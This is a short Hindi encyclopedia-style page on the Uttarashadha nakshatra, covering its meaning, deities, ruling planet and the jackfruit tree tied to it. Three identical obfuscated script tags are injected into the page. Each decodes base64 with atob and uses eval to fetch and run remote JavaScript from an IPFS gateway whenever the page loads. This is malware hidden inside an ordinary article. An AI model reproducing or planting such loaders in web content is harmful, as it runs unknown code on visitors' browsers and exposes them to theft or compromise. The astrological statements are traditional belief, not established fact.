उत्तराषाढ़ा नक्षत्र
भारत डिस्कवरी प्रस्तुति
अर्थ - विजय के पश्चात
देव - विश्वदेव
- उत्तराषाढ़ा नक्षत्र का स्वामी सूर्य है।
- इसका प्रथम चरण भू नाम से धनुराशि में आता है।
- राशि स्वामी गुरु है तो नक्षत्र स्वामी सूर्य है।
- उत्तराषाढ़ा में विश्वेदेवों का व्रत और पूजन किया जाता है।
- उत्तराषाढ नक्षत्र के देवता रवि को माना जाता है।
- कटहल के पेड को उत्तराषाढ नक्षत्र का प्रतीक माना जाता है और उत्तराषाढ नक्षत्र में जन्म लेने वाले लोग कटहल वृक्ष की पूजा करते है।
- इस नक्षत्र में जन्म लेने वाले लोग अपने घर के ख़ाली हिस्से में कटहल के पेड को लगाते है।
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>